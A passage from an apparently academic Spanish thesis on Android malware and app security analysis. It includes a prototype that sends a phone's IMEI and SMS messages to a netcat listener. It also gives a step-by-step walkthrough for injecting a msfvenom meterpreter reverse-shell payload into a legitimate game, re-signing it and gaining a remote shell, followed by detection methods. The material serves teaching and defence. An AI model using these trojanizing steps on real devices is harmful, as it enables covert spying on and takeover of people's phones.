usando únicamente los números impares de este rango, para establecer una conexión. El
dispositivo utilizará el puerto anterior al vinculado con el servidor ADB para realizar la
comunicación con la consola de manera local. Por ejemplo, si el servidor establece la
comunicación con el demonio adb en el puerto 5555, el dispositivo utilizará el puerto
5554 para la recepción de los comandos en la consola [36].
Para usar ADB es necesario habilitar la depuración USB del dispositivo, opción que
suele encontrarse dentro de ajustes en “Opciones de desarrollo” del dispositivo. Desde
la versión 4.2. las opciones de desarrollo vienen ocultas por defecto, para activarlas se
debe  ir  a  la  información  del  teléfono  y  pulsar  siete  veces  sobre  “Número  de
compilación” (Build number).
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3 Objetivos
Como se ha visto anteriormente, el ecosistema Android es enorme y existen multitud de
puntos que son susceptibles a ser objeto de un ataque malicioso. 
En el campo de la seguridad informática es importante conocer la arquitectura de los
sistemas,  el  funcionamiento  del  software  malicioso  y  las  diferentes  técnicas  y/o
herramientas que nos pueden ayudar en la tarea de proteger a los usuarios y los sistemas
informáticos.
Por ello, poniendo el foco principalmente en la seguridad de las aplicaciones Android,
es importante conocer como sería el código de una aplicación con fines maliciosos. Si
se  conoce  una  aplicación  maliciosa  se  puede,  utilizando  diferentes  herramientas,
conocer los riesgos de que una aplicación sea potencialmente peligrosa.
También hay que tener en cuenta que no todo se reduce a la seguridad del software, es
tan o más importante el enseñar a los diferentes usuarios a vivir protegidos y que sean
conscientes de lo que realmente ocurre en Internet. 
Por  ejemplo,  muchos  usuarios  ignorar  que  ocurren  cuando  mandan  una  foto  por
cualquier  aplicación  de  mensajería,  llegando  a  pensar  que  esta  fotografía  va
directamente de su dispositivo al receptor por arte de magia, ignorando todo el camino
que recorren a través de la red y los riesgos que estos conllevan.
Centrándonos en Android los usuarios deberían conocer que es a lo que realmente dan
acceso cuando aceptan los diferentes permisos que solicita una aplicación. Esto es uno
de  los  puntos  más  flojos  de  Android,  ya  que  un  mismo  permiso  nos  da  acceso  a
diferentes partes del sistema  y de la API de Android. 
La mejor manera de concienciar a los usuarios, es demostrarle como una persona con
unas  nociones  básicas  podría  robarle  su  privacidad,  accediendo  a  su  información
personal o tomando el control completo del dispositivo.
Desde  el  lado  de  los  expertos  en  seguridad  informática,  y  como  se  menciono
anteriormente, se deben conocer tanto los riesgos, como las técnicas para descubrir estos
riesgos y hacer los sistemas más seguros.
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3.1 Objetivos específicos
I. Estudiar el sistema operativo Android y el sistema de permisos.
II. Caracterización de las aplicaciones maliciosas en Android.
III. Diseño de herramientas de análisis de seguridad en las aplicaciones y de protección
frente a malware.
IV. Desarrollo de un escenario completo de inoculación de aplicaciones maliciosas en
dispositivos móviles.
V. Análisis de aplicaciones y detección de vulnerabilidades de carácter maligno.
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4 Metodología de análisis de malware en Android
Para  prevenir  el  software  malicioso  o  malware,  hay  que  conocer  lo  que  es,  como
funciona y así combatirlo. 
Cualquier  software  diseñado  para  ser  dañino  para  el  sistema,  la  red  en  la  que  se
encuentre o el usuario y su privacidad, es considerado malware. El término malware se
puede considerar  una generalización  que hace  referencia  a  virus,  troyanos,  software
espía, gusanos, etc.
A continuación,  se realiza un estudio en el que se detallan las pautas que se pueden
llevar a cabo para la construcción de una aplicación maliciosa en Android que sea capaz
de recopilar información sensible del usuario y/o dispositivo. 
La mayoría de las pruebas realizadas han sido satisfactorias en dispositivos con nivel de
API 22, perteneciente a la versión 5.1 Lollipop. A la fecha la versión individual con más
cuota de mercado.
Sin embargo se ha utilizado como nivel mínimo de API 17, intentando hacer todos los
ejemplos compatibles desde la versión Jelly Bean hasta Lollipop, abarcando con ello la
mayor cuota de mercado de dispositivos móviles posibles.  Más información sobre las
diferentes versiones de la API en el apartado «Cuota de mercado de Android». 
También  se  estudiaran  los  principales  problemas  del  sistema  de  permisos  y  como
pueden aprovecharse para acciones maliciosas.
Además de conocer como funciona el malware, se estudiarán los análisis de seguridad
que se pueden aplicar a las aplicaciones Android y las principales herramientas que
existen en el ecosistema Android para estos análisis.
4.1 Prototipo de malware
Como se ha mencionado anteriormente, cualquier aplicación que sea capaz de realizar
ciertas acciones sin el conocimiento del usuario, es considerada maliciosa. Por ejemplo,
conseguir cierta información sobre el dispositivo para posteriores ataques, el robo de
información  del  usuario  para  conseguir  suplantar  su  identidad  o  incluso  conseguir
geolocalizar al usuario.
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La API de Android [37] proporciona diferentes métodos y facilidades de uso para poder
acceder a información almacenada en el teléfono, los diferentes sensores, la cámara y
etc. 
Lo único que protege al usuario de las diferentes acciones que puedan ser realizadas a
través de la API de Android es el sistema de permisos, como se ha visto en el apartado
«Modelo del sistema de permisos». 
Principalmente  nos  centraremos  en  las  clases  TelephonyManager y  Build
pertenecientes ambas a la API de Android desde la versión 1 y como una aplicación
maliciosa obtendría información del dispositivo.
La  clase  TelephonyManager,  vista  en  el  apartado  «El  framework de  Android»,
proporciona  cierta  información  sobre  los  servicios  de  telefonía  del  dispositivo  y  su
estado, otorgando incluso la capacidad de suscribirse a eventos del servicio de telefonía
para ejecutar ciertas acciones cuando estos eventos sean lanzados.
Para utilizar esta clase, no se debe crear una instancia de la misma directamente, si no
que debe ser solicitada a través del contexto actual de la aplicación, por ejemplo para
obtener el manager desde un activity:  
TelephonyManager telephonyManager;
telephonyManager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
Se  debe  conocer  que  para  poder  utilizar  diferentes  métodos  de  la  clase
TelephonyManager se requiere  el  permiso  READ_PHONE_STATE,  este  permiso
permite el acceso en modo de solo lectura a información sobre el dispositivo, como el
número de teléfono del dispositivo (siempre que este registrado en la configuración del
teléfono),  información de la red del teléfono o incluso el  estado de las llamadas en
curso. Para disponer de este permiso, simplemente deberemos añadirlo al archivo de
manifiesto de Android.
<uses-permission 
android:name="android.permission.READ_PHONE_STATE" />
El añadir el permiso al manifiesto, hará que cuando la aplicación se instale en el sistema
se  le  solicite  al  usuario  el  permiso  y  este  deba  aceptar  el  permiso  para  instalar  la
aplicación, tal y como se vio anteriormente.
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A continuación, se detallan los métodos más interesantes de los que podemos hacer uso
con el TelephonyManager: 
String getDeviceId()
Devuelve  el  identificador  único  del  dispositivo,  generalmente  el  IMEI
(dispositivos GSM) y el MEID o ESN para dispositivos CDMA.
String getLine1Number()
Devuelve el número perteneciente a la línea 1 del dispositivo, debe estar
configurado en las opciones del teléfono. Existen métodos para obtener
una segunda línea por si fuera necesario.
String 
getNetworkOperatorName()
Devuelve el nombre de forma legible para el humano del operador de red
con el que se esta registrado en el momento.
String 
getSimSerialNumber()
Devuelve el número de serie de la tarjeta SIM introduzida en la linea 1 del
teléfono.
String 
getSimOperatorName()
Devuelve  el  nombre  del  operador  de  la  tarjeta  SIM de la  línea  1  del
teléfono de manera legible para el humano.
Tabla 3: Métodos más interesantes de la clase TelephonyManager (elaboración propia)
Para obtener información sobre la compilación actual del sistema operativo y de esta
manera conocer diferentes propiedades del dispositivo, existe la clase  Build que no
requiere de ningún permiso y contiene diferentes constantes estáticas con información
del dispositivo. 
Las constantes más interesantes contenidas en la clase Build son:
RELEASE Versión de Android
MANUFACTURER Fabricante del dispositivo
BRAND Marca del producto visible para el consumidor
HARDWARE Nombre del proveedor del procesador
BOOTLOADER Versión del bootloader
DEVICE Nombre en clave del dispositivo
VERSION.SDK_INT Versión del SDK del framework
Tabla 4: Constantes y uso de la clase Build (elaboración propia)
En el ejemplo «    DeviceInformation v.1» que se encuentra en los «Anexos» se puede
ver el código de la aplicación utilizando la clase TelephonyManager y Build.
Bien es cierto que el  visualizar esa información por pantalla no sería muy útil  para
alguien  que  quiera  conseguir  esa  información  de  manera  remota.  Para  ello,  existen
multitud de alternativas, desde la apertura de un  socket plano al  uso de un servidor
HTTP que contenga una API REST u otros muchos ejemplos.
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Una de las maneras más sencillas es utilizar la herramienta  netcat de los sistemas
Unix, de esta manera podemos abrir un socket que se quede escuchando en un puerto
concreto con el siguiente comando:
$ nc -lk -p PUERTO
La opción  -l arranca  netcat en modo escucha,  la  -k le  indica que el  socket se
mantenga "vivo"  (keep alive)  y  con  -p le  indicamos  el  puerto.  Todas  las  opciones
pueden consultarse con el comando nc -h.
Una vez se tiene abierto un socket listo para escuchar, lo único que habría que hacer es
crear un cliente en nuestra aplicación maliciosa de Android que se encargue de enviar
información a este socket. 
Para  la  apertura  de  un  socket se  puede  utilizar  la  clase  Socket del  paquete  de
java.net, pero hay que tener en cuenta que en Android ciertas operaciones no puede
ser  realizadas  en  el  llamado  hilo  UI  (User  Interface),  para  ello  se  pueden  utilizar
diferentes  métodos,  como  implementar  la  interfaz  Runnable,  o  crear  una  tarea
asíncrona extendiendo de AsyncTask.  
En la sección «    DeviceInformation v.2», que también se encuentra en los «Anexos»,
se  encuentra  el  código  fuente  de  una  aplicación  que  permite  obtener  información
manera remota, como se ha visto anteriormente, y se ha añadido una clase que permite
obtener los mensajes de la bandeja de entrada a través del ContentResolver.
Para poder realizar la lectura de mensajes de texto se necesita el permiso  READ_SMS
declarado en el  archivo de manifiesto y para la utilización del socket se necesita el
permiso  INTERNET,  por  lo  tanto  teniendo  en  cuenta  los  permisos  del
TelephonyManager,  en  el  archivo  de  manifiesto  deben  figurar  los  siguientes
permisos:
<uses-permission 
android:name="android.permission.READ_PHONE_STATE" />
<uses-permission 
android:name="android.permission.INTERNET" />
<uses-permission 
android:name="android.permission.READ_SMS" />
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Con solo utilizar  tres permisos se abre un abanico de posibilidades que podrían ser
explotadas por cualquier aplicación. 
Hay que tener en cuenta que la mayoría de aplicaciones solicitan estos, y otros muchos,
permisos  ya  que  los  necesitan  para  su  normal  funcionamiento  y  puede  resultar
complicado distinguir su propósito real.  
4.2 Principales problemas del sistema de permisos
Los dos  principales  problemas que tiene  el  sistema de permisos  de  Android  son la
granularidad del mismo y que todo depende del usuario en el momento de instalar la
aplicación.
Muchas  veces  el  usuario  desconoce  realmente  que  esta  autorizando  cuando  se  le
solicitan los permisos. Al igual que ocurre con los términos y condiciones de la mayoría
de servicios que se utilizan hoy en día, los usuarios suelen aceptar todo sin ni si quiera
fijarse en el contenido de lo que aceptan. Lo mismo ocurre al instalar una aplicación, la
mayoría de las veces sin ni si quiera mirar los permisos que se están solicitando.
Existen  una  serie  permisos  considerados  peligrosos  que  deberían  tener  un  control
especial, a continuación se detallan estos permisos y el grupo al que pertenecen:
Grupo Permisos
CALENDAR
READ_CALENDAR
WRITE_CALENDAR
CAMERA CAMERA
CONTACTS
READ_CONTACTS
WRITE_CONTACTS
GET_ACCOUNTS
LOCATION
ACCESS_FINE_LOCATION
ACCESS_COARSE_LOCATION
MICROPHONE RECORD_AUDIO
PHONE READ_PHONE_STATE
CALL_PHONE
READ_CALL_LOG
WRITE_CALL_LOG
ADD_VOICEMAIL
USE_SIP
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PROCESS_OUTGOING_CALLS
SENSORS BODY_SENSORS
SMS
SEND_SMS
RECEIVE_SMS
READ_SMS
RECEIVE_WAP_PUSH
RECEIVE_MMS
STORAGE
READ_EXTERNAL_STORAGE
WRITE_EXTERNAL_STORAGE
Tabla 5: Permisos peligrosos y grupo al que pertenecen (elaboración propia)
Desde la versión 6 de Android conocida como M, estos permisos peligrosos no solo
deberán solicitar permisos durante la instalación, si no que aunque este permiso haya
sido concedido se deberá solicitar al usuario el permiso en tiempo de ejecución.
De esta manera se pretende informar al usuario del momento en el que se esta llevando
a cabo la acción, intentando evitar el robo de información y el control del teléfono en
segundo plano. Si el desarrollador no solicitará el permiso en tiempo de ejecución la
aplicación lanzaría una excepción de seguridad, por lo que la aplicación se cerraría.
Sin embargo, esta opción no esta habilitada por defecto en todos los teléfonos y solo se
encuentra disponible en versiones posteriores a la 6, la cual actualmente no tiene mucha
cuota de mercado.
La granularidad del modelo de permisos de Android hace que muchos desarrolladores
utilicen más permisos en su aplicación de los que necesita realmente, algunas veces por
desconocimiento y otras por obligación, ya que para utilizar un componente concreto
puede ser necesario utilizar un permiso que te da acceso a otros componentes. 
Además, una aplicación podría aprovechar el exceso de permisos que otra aplicación
tenga, de manera que si esta aplicación tiene algún fallo de seguridad se podría realizar
una escalada de privilegios.
Las  técnicas  de  ingeniería  social  son  las  más  utilizadas  para  realizar  ataques
informáticos,  sirviendo  como punto  inicial  de  un  ataque  informático.  La  ingeniería
social consiste en mediante técnicas psicológicas ser capaces de engañar a una víctima,
por ejemplo los ataques de phising son parte de la ingeniería social, ya que se basan en
engañar al usuario haciéndose pasar por un tercero de su confianza.
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4.3 Análisis de aplicaciones en Android
Realizar pruebas de penetración, comúnmente conocido como  pentesting, consiste en
atacar y/o analizar un sistema informático con el fin de encontrar alguna vulnerabilidad
o fallo del sistema para ser solucionado, de manera que se puedan prevenir  ataques
futuros. 
De la misma manera, se pueden realizar pruebas de penetración en aplicaciones, con el
fin de encontrar futuros comportamientos maliciosos u otros fallos de seguridad.
Cuando se analizan aplicaciones Android, uno de las principales metas es encontrar una
justificación para un exceso de permisos, para ello es importante tener en cuenta, entre
otras cosas, los permisos que se solicitan y cual es el uso al que se supone que esta
destinada  la  aplicación.  Por  ejemplo,  una  aplicación  que  sea  un  juego  normal  y
corriente, no tendría sentido que utilizase los permisos de la cámara o de los SMS.
A continuación se detallan los diferentes tipos de análisis de software más comunes y
las diferentes herramientas utilizadas en Android para llevarlos a cabo.
4.3.1 Ingeniería inversa
La  ingeniería  inversa  es  un  proceso  por  el  cual  se  extrae  la  información  de  una
aplicación, en Android al tratarse de aplicaciones compiladas es necesario realizar este
proceso para poder  obtener  el  código fuente de la  aplicación y así  poder extraer  el
conocimiento que pueda contener.
Anteriormente se ha visto la estructura de los archivos .apk y como se puede obtener el
contenido de estos con cualquier compresor de archivos. 
Sin  embargo,  estos  archivos  son  ilegibles  para  el  ser  humano,  tanto  el  archivo  de
manifiesto,  AndroidManifest.xml,  como el  código fuente,  classes.dex,  se
encuentran compilados. 
Existen herramientas que permiten decompilar aplicaciones y obtener un código legible
para el humano. El SDK de Android contiene la herramienta  dexdump [38] que nos
permite desensamblar archivos .dex o incluso el  .apk directamente. La herramienta
se  encuentra  en  el  directorio  [android-sdk]/build-tools/XX.X.X donde
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XX.X.X es la  versión de la API del SDK que se este utilizando. Para su ejecución
bastará con escribir
$ ./dexdump [.dex/.apk]
de esta  manera se desensambla el  código de la  aplicación,  obteniendo por la  salida
estándar el bytecode que es interpretado por la máquina virtual Dalvik. 
El bytecode no es un código fácil de interpretar y por ello en el ecosistema de Android
se  ha  hecho  popular  Smali  [39],  un  lenguaje  intermedio  entre  el  bytecode  de  los
archivos .dex que interpreta la máquina virtual Dalvik y el código original Java. 
Una de las herramientas más populares para obtener el código Smali de una aplicación
Android  es  apktool,  que  además  de  obtener  el  código  podemos  recompilar  una
aplicación en código Smali para obtener de nuevo el .apk. 
Su uso es bien sencillo:
$ apktool d file.apk
$ apktool b folder
Con la opción d se obtiene el código Smali a partir de un .apk y con la opción b y el
directorio del código fuente de la aplicación se vuelve a recompilar.
También es posible obtener el código Java de una aplicación Android compilada, para
ello se puede utilizar la herramienta  dex2jar para convertir el  .apk a  .jar, para
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Fig. 7: Ejemplo salida dexdump bytecode DalvikVM (elaboración propia)
posteriormente utilizar cualquier herramienta de ingeniería inversa de Java, como por
ejemplo Java Decompiler, como se muestra en la siguiente imagen:
Hay que tener en cuenta que el convertir el .apk a .jar hace que se pierda algo más
de información que con Smali, pero es otro método totalmente válido para la mayoría de
los casos.
4.3.2 Análisis estático
El análisis estático consiste en analizar el código fuente de la aplicación y los datos
almacenados en el  código de la  aplicación,  este tipo de análisis  se lleva a cabo sin
ejecutar el software a analizar. 
Este  tipo de análisis  también es conocido como análisis  de caja  blanca y se  suelen
utilizar diferentes herramientas dependiendo de lo que se quiera analizar.
Lo que se persigue al realizar un análisis estático es identificar información útil escrita
directamente en el código fuente, conocido como hard-coded, principalmente se buscan
direcciones URI o URL, credenciales de usuario u otros tipos de claves, como claves de
acceso a API REST.
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Fig. 8: Java decompiler metasploit meterpreter tcp reverse (elaboración propia)
Analizando el código también se puede realizar un análisis más profundo y construir un
árbol  de  las  diferentes  llamadas que  se realizan,  observar  la  lógica y el  flujo de  la
aplicación y así, descubrir otros problemas que pudieran existir.
De manera clara, este análisis se apoya en la técnica de ingeniería inversa vista en el
apartado anterior, para poder obtener el código fuente de la aplicación.
Analizar  el  código  fuente  al  completo  puede  resultar  una  tarea  pesada,  existen
herramientas  que  nos  pueden  ayudar  a   automatizar  esta  tarea  y  encontrar
comportamientos extraños en el código de la aplicación. Por ejemplo, con androwarn
[40], herramienta escrita en Python, podemos generar reportes de un análisis estático
completo. 
La manera más común de utilización es generar un reporte en HTML con el mayor nivel
de verbosidad posible, como se muestra a continuación:
$ python2 androwarn.py -i [.apk] -r html -v 3
Con  esto  nos  genera  un  reporte  similar  al  que  se  aprecia  en  la  siguiente  imagen:
4.3.3 Análisis dinámico
El análisis dinámico es la contrapartida al análisis estático, mientras que en el análisis
estático nos valemos del código de la aplicación para conseguir información sobre la
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Fig. 9: Reporte de androwarn mostrando posibles fugas de información (elaboración
propia)
misma sin ejecutarla, en el análisis dinámico analizamos la aplicación en ejecución, su
comportamiento y lo que ocurre cuando se interactúa con las diferentes partes de ella.
Por ejemplo, realizar un  profiling  para observar que partes de la aplicación consumen
más  recursos,  observar  el  tráfico  que  circula  por  la  red  con  la  aplicación  en
funcionamiento con cualquier sniffer, visualizar los logs o simplemente observar todas
las características disponibles en una aplicación mediante sus menús, sería parte de un
análisis dinámico.
Se puede utilizar el propio debugger de Android Studio [41] para realizar un profiling
de la aplicación, Wireshark [42] para analizar el tráfico de la red y logcat para visualizar
los logs de la aplicación.
Por ejemplo, con la aplicación  «    DeviceInformation v.2» que se encuentra en los
«Anexos», si  se  utiliza  Wireshark para  escuchar  en  la  red  podemos  interceptar  los
paquetes que viajan y observar como se manda la información confidencial a un destino
“desconocido” que estaría comprometiendo la privacidad del usuario.
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Fig. 10: Wireshark capturando los paquetes de la aplicación de prueba
DeviceInformation v.2 (elaboración propia)
También  existe  Tracedroid, un  analizador  on-line  que  permite  realizar  una  análisis
dinámico de manera automática a una aplicación Android. Se verá más detalle en el
apartado de «Análisis on-line».
4.3.4 Análisis fuzzy
También  llamado Fuzz  testing  o  fuzzing  se  basa  causar  excepciones  en  el  sistema,
produciendo  que  la  aplicación  falle  y  así  encontrar  posibles  fugas  de  información.
Generalmente  se  basa  en  ataques  automatizados  que  introducen  diferentes  datos
aleatorios a una aplicación. 
Por  ejemplo,  si  una  aplicación  permite  subir  una  imagen  o  un  archivo  cualquiera,
podemos intentar comprobar que sucede si enviamos diferente formatos de archivos y
así  descubrir  si  sería  posible  introducir  un  Shell en  el  sistema o  intentar  causar  un
desbordamiento de memoria para conseguir escalar privilegios.
Para automatizar y hacer más sencillo el  fuzzing  existen herramientas específicas para
Android, como por ejemplo MFFA (Media Fuzzing Framework for Android) [43].
Con MFFA se pueden crear archivos multimedia estructuralmente válidos pero que de
alguna manera estén corruptos. De manera que puedan ser introducidos en el sistema
Android, para que la aplicación encargada de decodificar el archivo multimedia pueda
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Fig. 11: Paquete con la información capturada de la aplicación de
prueba DeviceInformation v.2 (elaboración propia)
reproducirlo  y  conducir  a  vulnerabilidades  que  puedan  ser  explotadas  para
solucionarlas. 
4.3.5 Análisis on-line
Existen diversos analizadores on-line que permiten comprobar de manera automática si
una aplicación es de carácter malicioso o puede tener ciertos fallos de seguridad.
Tracedroid  [44],  creado  por  ingenieros  de  la  Universidad  de  Amsterdam,  permite
realizar  un  análisis  dinámico  en  un  archivo  .apk,  emulando  interacciones  con  la
aplicación, llamadas entrantes, mensajes de texto y otras muchas acciones. Además de
realizar el análisis dinámico también extrae información con un análisis estático, como
el número de activities o services existentes.
La famosa plataforma VirusTotal  [45] también permite analizar aplicaciones Android
utilizando múltiples motores de antivirus diferentes.
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Fig. 12: Ejemplo de análisis con VirusTotal (elaboración propia)
5 Experimentación
A partir de la recopilación de la información mostrada en los apartados anteriores y el
estudio pormenorizado de los diferentes escenarios de vulnerabilidad en dispositivos
móviles, en este apartado se desarrolla un escenario completo de lo que podría ser un
ataque malicioso y las pautas a seguir para detectarlo.
Lo  que  se  va  a  realizar  es  una  inoculación  de  código  malicioso  en  una  aplicación
Android,  utilizando  las  técnicas  de  ingeniería  inversa  y  análisis  estático  vistas
anteriormente.
El  código  malicioso  a  inyectar  se  extraerá  de  un  payload de  metasploit [46] que
permitirá tener un control remoto del dispositivo en el que se instale la aplicación.
Para finalizar se analizará esta aplicación con el fin de identificar los pasos a seguir para
prevenir y detectar la inoculación de malware.
5.1 Inoculación de malware
En primer lugar se va a desarrollar una aplicación maliciosa. Para ello, se podrían usar
los ejemplos vistos anteriormente o crear un ejemplo completo. Para no reinventar la
rueda se usará metasploit, que permite generar un payload que otorgará control remoto
completo del dispositivo.
Se  utiliza  msfvenom  incluido  en  metasploit  para  generar  un  payload.  El  payload  a
utilizar  para  Android  es  meterpreter,  disponible  en  tres  variantes:  reverse_tcp,
reverse_http, reverse_https.
$ msfvenom -p android/meterpreter/reverse_XXX LHOST=IP LPORT=PORT -o
file.apk
El término reverse hace referencia al tipo de conexión, significa que no será el atacante
el que se conecte a la víctima, si no la victima es la que se conecta al atacante. Y el
protocolo hace referencia al que se usará para establecer la conexión e intercambiar los
mensajes.
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Se debe especificar la IP y el puerto al cuál debe conectarse el payload una vez iniciado,
además del fichero .apk de salida.
Una vez generado el payload se obtendrá el código Smali del mismo con apktool, tal y
como se ha visto en el apartado «Ingeniería inversa». 
Ahora ya se tiene el código del payload listo para ser inyectado en una aplicación en el
que pueda pasar desapercibido. Por lo tanto, se necesita una .apk donde se inyecte el
código malicioso y que pueda ser fácilmente distribuible.
Para esta experimentación se utiliza un juego llamado 1010! Klooni el cuál esta bajo
licencia GNU GPL 3.
Una vez se tiene el .apk dónde se va a inyectar el código malicioso, se debe decompilar
al igual que el payload. 
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Fig. 13: Generando payload con msfvenom (elaboración propia)
Fig. 14: Obteniendo código Smali del payload (elaboración propia)
Fig. 15: Obtención de código Smali de aplicación objetivo (elaboración propia)
Para poder inyectar el payload se necesita conocer un poco la aplicación objetivo. Para
ello, como ya se ha obtenido el código fuente, se debe realizar un «Análisis estático» de
la aplicación.
Dentro del directorio Smali creado por apktool se encuentra la estructura de directorios
del código fuente, por lo que se puede visualizar el nombre de los diferentes paquetes
que contiene la aplicación.
Se  observa  que  contiene  dos  paquetes:  com.badlogic.gdx  y
io.github.lonamiwebs. Uno de estos paquetes corresponde al código fuente propio
de  la  aplicación.  El  otro  puede  tratarse  de  código  propio  de  la  aplicación  o  puede
tratarse  de  una  librería  externa.  En  este  caso,  el  paquete  com.badlogic.gdx se
corresponde al framework libGDX para desarrollo de juegos. 
Si no se conociera esta información se puede realizar una búsqueda rápida para obtener
el resultado. El análisis estático es una buena fase para recolectar información.
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Fig. 16: Estructura
directorios aplicación
objetivo (elaboración
propia)
Fig. 17: Búsqueda para obtenre información de la
aplicación (elaboración propia)
Para  continuar  obteniendo información,  el  próximo paso  en  una  aplicación  Android
sería observar el archivo de manifiesto AndroidManifest.xml
En el archivo de manifiesto se puede obtener información sobre las diferentes partes de
la aplicación declaradas, desde el punto de entrada a la aplicación a diferentes servicios.
Para  obtener  el  punto  de  entrada  a  la  aplicación  se  deberán  buscar  acción
android.intent.action.MAIN definida en el archivo de manifiesto.
Generalmente  lo  primero  que  se  ejecuta  en  una  aplicación  será  un  activity  y en  el
archivo de manifiesto se indica cual es. En este ejemplo se trata de MainActivity
dentro  del  paquete  com.app.activities y  en  el  ejemplo  anterior  el  activity es
AndroidLauncher y se encuentra en el paquete io.github.lonamiwebs.klooni.
Cuando ya se conoce donde se inicia la aplicación se debe inyectar el código malicioso
en  la  aplicación.  Para  ello  en  primer  lugar  creamos  la  estructura  de  directorios
smali/com/metasploit/stage en la código fuente de la aplicación objetivo y
copiamos el payload al directorio stage creado anteriormente.
El  método  que  se  encarga  de  ejecutar  el  payload se  encuentra  en  el  archivo
Payload.smali
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Fig. 18: AndroidManifest.xml de la aplicación utilizada (elaboración propia)
Fig. 19: Ejemplo de definición de punto de entrada a la aplicación en AndroidManifest.xml
(elaboración propia)
Como  se  observa  se  trata  de  un  método  estático,  de  nombre  start,  que  recibe  el
Context actual de la aplicación.  Por lo tanto,  se debe realizar una llamada a este
método estático en el momento deseado para que el payload se ejecute. 
Para arrancar el payload en el mismo momento que la aplicación se ponga en marcha, se
debe ir al activity visto anteriormente en el AndroidManifest.xml, el cual es el punto de
entrada de la aplicación e inyectar el código de la llamada.
En un activity el primer método invocado es onCreate() por lo tanto ahí es donde se
debe inyectar la llamada.
Como se ha  visto  también  anteriormente  en  el  archivo de manifiesto,  la  aplicación
actualmente no muchos permisos declarados y este  payload requiere de una serie de
permisos adicionales para poder acceder a todos los componentes del dispositivo. Por lo
que se deben declarar estos permisos en el archivo de manifiesto.
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Fig. 20: Método start que inicializa el payload (elaboración propia)
Fig. 21: Método onCreate de la aplicación objetivo con el código inyectado (elaboración
propia)
Fig. 22: Permisos requeridos por el payload en el archivo de
manifiesto (elaboración propia)
Cuando ya se tiene todo el código malicioso inyectado en la aplicación original, se debe
compilar el código Smali. Para ello se vuelve a utilizar apktool.
Por lo que se obtendrá un .apk con el código malicioso, pero si se intenta instalar dará
un error dependiendo la versión de Android instalada y no se podrá instalar.
Esto es debido a que la aplicación se encuentra sin firmar, como se vio en el apartado
«Firma de seguridad en aplicaciones», por defecto, Android comprueba la integridad de
la aplicación y que esta se encuentre correctamente firmada.
Con  jarsigner se  puede  firmar  un  .apk  y  también  verificar  la  firma  de  otras
aplicaciones. Para visualizar la firma de la aplicación original.
jarsigner -verify -verbose file.apk
Para firmar la aplicación primero se necesita tener un keystore, que es un contenedor de
certificados de seguridad. 
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Fig. 23: Compilando aplicación con código malicioso inyectado (elaboración propia)
Fig. 24: Error al intentar instalar la
aplicación recompilada en Android
5.1.1 (elaboración propia)
Fig. 25: Comprobación de la firma del apk original
keytool -genkey -v -keystore my.keystore -keyalg RSA -keysize 2048 
-alias mykey
El keystore se ha creado imitando los valores de la aplicación original, con el algoritmo
RSA de 2048 bits, de nombre my.keystore y con el alias mykey.
Una vez se ha obtenido el keystore ya se podrá firmar la aplicación.
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore 
my.keystore file.apk mykey
Se puede comprobar la firma, de la misma manera que se comprobó anteriormente la
firma de la aplicación original.
Ahora ya se podría instalar la aplicación sin problemas en un dispositivo.
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Fig. 26: Generación de keystore para firmar la aplicación
Fig. 27: Realizando la firma de la aplicación (elaboración propia)
Fig. 28: Detalles de la firma realizada y verificación (elaboración propia)
Fig. 29: Juego con el
código inyectado
(elaboración propia)
Aparentemente la  aplicación objetivo no ha sido modificado,  pero por debajo se ha
ejecutado un código el cual es capaz de conectarse remotamente al atacante y permitir el
control del dispositivo.
Para poner en marca el servidor al que se conecta la aplicación se utiliza metasploit, en
primer lugar hay que iniciar la consola de metasploit con msfconsole.
Cuando ya se iniciado al  consola de  metasploit debemos configurar  metasploit para
iniciar el servidor del payload generado anteriormente.  
Una  vez  configurado,  bastará  con  escribir  exploit y  arrancar  la  aplicación  en  un
dispositivo que tenga conexión con el servidor.
Con la conexión establecida, tenemos el control total del teléfono, podríamos controlar
el micrófono, la cámara, los diferentes sensores e incluso obtener un shell.
Para obtener un shell bastará con escribir shell en metasploit y tendremos acceso a un
shell en el dispositivo.
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Fig. 32: Conexión de la aplicación al servidor de metasploit
Fig. 30: Consola de metasploit iniciada (elaboración propia)
Fig. 31: Configuración de metasploit (elaboración propia)
5.2 Prevención de la inoculación de malware
Estar completamente seguro de que una aplicación carece de malware es una tarea muy
compleja,  pero  con  las  técnicas  vistas  en  el  apartado  «Análisis  de  aplicaciones  en
Android» se puede recopilar información sobre una aplicación e intentar descubrir si se
trata de una aplicación maliciosa.
A partir del .apk creado anteriormente deberemos realizar la serie de acciones siguientes
que nos ayuden a detectar la existencia de malware.
Una de las primeras cosas que harían sospechar de la aplicación anterior, es la cantidad
de permisos que se solicitan en el momento de la instalación de la misma.
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Fig. 33: Shell en el dispositivo infectado
Fig. 34: Permisos
solicitados por la
aplicación maliciosa
(elaboración propia)
Este caso es muy sospechoso, ya que se trata de un juego solicitando unos permisos que
obviamente no necesitaría para su normal funcionamiento, lo cual daría que sospechar.
Sin  embargo,  esto  no  suele  ser  lo  común,  lo  más  frecuente  es  que  simulen  un
comportamiento con los permisos solicitados para que el usuario no sospeche de que
realmente puede estar sustrayendo cierta información del dispositivo o incluso usando el
dispositivo como espía.
Una  vez  instalada  la  aplicación,  sería  imposible  que  un  usuario  sospechara  de  la
aplicación, ya que tendría un comportamiento aparentemente normal.
Si los permisos de la aplicación no fueran exageradamente sospechosos, lo normal sería
proceder con un análisis estático de la aplicación para comenzar a obtener información
de la aplicación. En esta ocasión se utiliza jd-gui, primero obteniendo un .jar del .apk
con dex2jar, como se vio anteriormente.
En primer lugar se podría observar los diferentes paquetes que contienen la aplicación, y
como es en este caso comprobar si alguno resulta sospechoso:
Para continuar analizando la aplicación, lo normal sería irse al punto de entrada de la
aplicación, que como se vio anteriormente es AndroidLauncher
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Fig. 35: Paquetes de la aplicación
maliciosa (elaboración propia)
Fig. 36: Primer código en ejecutarse de la aplicación maliciosa (elaboración propia)
A partir del código que se ejecuta al iniciar la aplicación se debe seguir el rastro de
llamadas e incluso construir un grafo con las mismas, para tener claro el flujo de la
aplicación. 
Si se sigue el rastro de la primera instrucción que se ejecuta en el método onCreate()
se puede llegar a observar como en un momento dado se construye un servidor a través
de un socket y un cliente.
Que la aplicación cree sockets para intercambiar información no tendría porque ser un
comportamiento dañino, pero en este caso si lo es.
Para seguir analizando la aplicación, se podría utilizar androwarn para conseguir un
reporte completo de la aplicación. Se observa como el reporte que se genera, dan fuerza
a las sospechas anteriores.
También se podría utilizar un analizador on-line como VirusTotal visto anteriormente
